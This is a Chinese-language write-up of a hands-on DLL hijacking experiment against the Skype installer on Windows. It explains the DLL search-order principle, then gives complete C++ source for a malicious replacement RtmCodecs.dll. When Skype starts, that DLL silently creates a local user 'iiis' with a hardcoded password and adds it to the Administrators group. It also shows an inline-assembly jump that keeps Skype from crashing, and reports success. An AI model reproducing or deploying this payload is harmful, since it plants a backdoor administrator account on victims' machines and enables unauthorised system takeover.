0x1:實驗背景
看到國外一篇文章,大致描述如下:
Hi, There are a dll planting vuln in skype installer. This vuln had been reported to Microsoft but they decided not fix this. Here is the vulnerability details: ------ Skype installer in Windows is open to DLL hijacking. Skype looks for a specific DLL by dynamically going through a set of predefined directories. One of the directory being scanned is the installation directory, and this is exactly what is abused in this vulnerability.
根據描述我們可以知道skype存在dll劫持漏洞,在試驗中需要劫持的dll為RtmCodecs.dll,接下來我們開始試驗。
0x2: dll劫持原理
由於輸入表中只包含DLL名而沒有它的路徑名,因此加載程序必須在磁盤上搜索DLL文件。首先會嘗試從當前程序所在的目錄加載DLL,如果沒找到,則在Windows系統目錄中查找,最后是在環境變量中列出的各個目錄下查找。利用這個特點,先偽造一個系統同名的DLL,提供同樣的輸出表,每個輸出函數轉向真正的系統DLL。程序調用系統DLL時會先調用當前目錄下偽造的DLL,完成相關功能后,再跳到系統DLL同名函數里執行。這個過程用個形象的詞來描述就是系統DLL被劫持(hijack)了。
0x3:實驗過程
(1) 編寫一個劫持指定dll程序原理
1.查看被劫持的DLL的導出函數表。 2.編程實現劫持DLL向原DLL的導出函數的轉發,並加入你的“惡意代碼”。
(2) 由於文章里給出一個彈出會話框功能的dll,這里我們先看看作者怎么實現的。
從上圖可以看出,作者直接在DLL入口執行一個msaageBox函數 彈出對話框。我們也這樣實現一個函數添加用戶試試,主要代碼如下
msi.h
#pragma once #ifdef DLLEXPORT #define DLL_INTERFACE __declspec(dllexport) #else #define DLL_INTERFACE __declspec(dllimport) #endif extern "C"{ DLL_INTERFACE void adduser(); }
msi.cpp
// msi.cpp : 定義 DLL 應用程序的導出函數。 // #include "stdafx.h" #define DLLEXPORT #include "msi.h" DLL_INTERFACE void adduser() { NET_API_STATUS nStatus; DWORD dwError = 0; DWORD dwLevel = 1; USER_INFO_1 ui; ui.usri1_name = L"iiis"; //用戶名 ui.usri1_password = L"password123!@#"; //密碼 //ui.usri1_name = argv[1]; //ui.usri1_password = argv[1]; ui.usri1_priv = USER_PRIV_USER; //權限 ui.usri1_home_dir = NULL; ui.usri1_comment = NULL; ui.usri1_flags = UF_SCRIPT|UF_DONT_EXPIRE_PASSWD|UF_PASSWD_CANT_CHANGE; //登錄腳本執行,密碼不可更改,密碼永不過期 ui.usri1_script_path = NULL; nStatus = NetUserAdd( NULL, dwLevel, (LPBYTE)&ui, &dwError ); if ( nStatus == NERR_Success || nStatus == NERR_UserExists ) { std::cout << "add user success" << std::endl; } else { std::cout << "add user failed: " << nStatus << std::endl; exit(-1); } LOCALGROUP_MEMBERS_INFO_3 account; account.lgrmi3_domainandname=ui.usri1_name; //傳入用戶名 nStatus = NetLocalGroupAddMembers( NULL, L"Administrators", 3, (LPBYTE)&account, 1); if ( nStatus == NERR_Success ) { std::cout << "add localgroup success" << std::endl; } else { std::cout << "add localgroup failed: " << nStatus << std::endl; exit(-1); } __asm JMP EAX; // 初次測試沒有這一句 }
編譯,放進skpye的phone目錄替換RtmCodecs.dll,然后啟動skype,如圖:
劫持成功,但是skype崩潰掉了,分析一下原因,大概是沒有實現劫持DLL向原DLL的導出函數的轉發導致的,但是作者也沒有這樣實現怎么就不崩潰呢,於是反編譯了一下skype原RtmCodecs.dll看看導出函數是長啥樣的,如下圖:
結合IDA里面執行完messageBox函數后的eax清零操作,大概了解,應該在Adduser()執行完畢后對返回進行一下處理,於是在Adduser()函數體末尾添加
__asm JMP EAX;
指令,再編譯測試,如下圖:
成功劫持並添加用戶,skype也沒有崩潰。
0x4 后記:
上述就是整個實驗過程,當然在劫持指定dll的時候,為了程序能正常使用按照編寫一個劫持指定dll程序原理去實現效果最好,在本次試驗中,這個過程忽略了。
0x5 參考:
1. http://www.exploitalert.com/view-details.html?id=24885
2. http://www.freebuf.com/articles/78807.html